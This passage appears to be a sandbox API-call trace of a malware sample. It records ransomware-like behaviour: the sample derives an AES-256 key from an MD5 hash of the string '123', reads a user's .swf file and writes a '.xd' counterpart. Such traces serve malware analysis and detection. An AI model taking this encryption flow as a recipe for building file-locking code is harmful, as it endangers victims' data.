lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0066.891] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.891] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.891] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.891] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.891] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.892] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.892] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.892] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.892] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.892] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.892] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.893] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.893] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aacd0) returned 1 [0066.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.893] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.894] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.894] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.894] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.894] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.901] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.901] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.901] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.902] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.902] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.902] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.902] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.902] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.903] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.903] CryptCreateHash (in: hProv=0x17aacd0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.903] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.903] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.903] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621660, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.904] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.904] CryptHashData (hHash=0x164c3f0, pbData=0x16295c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.904] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.904] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.904] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.904] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.904] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.904] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.909] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.912] CryptDeriveKey (in: hProv=0x17aacd0, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c330) returned 1 [0066.914] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.915] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.916] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.917] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.917] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.921] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.921] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0066.921] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.921] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.921] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.921] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.921] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.921] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rqayyh8yixdrw5fs.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.921] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.921] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.922] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.922] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.922] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.922] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.922] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rQaYyh8yixDrw5Fs.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rqayyh8yixdrw5fs.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.923] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.928] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.928] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10a0, lpOverlapped=0x0) returned 1 [0066.929] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.934] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.934] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.934] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.934] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.935] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.935] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.935] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.935] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.935] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.935] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.948] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.949] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.949] CryptGetKeyParam (in: hKey=0x164c330, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.949] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 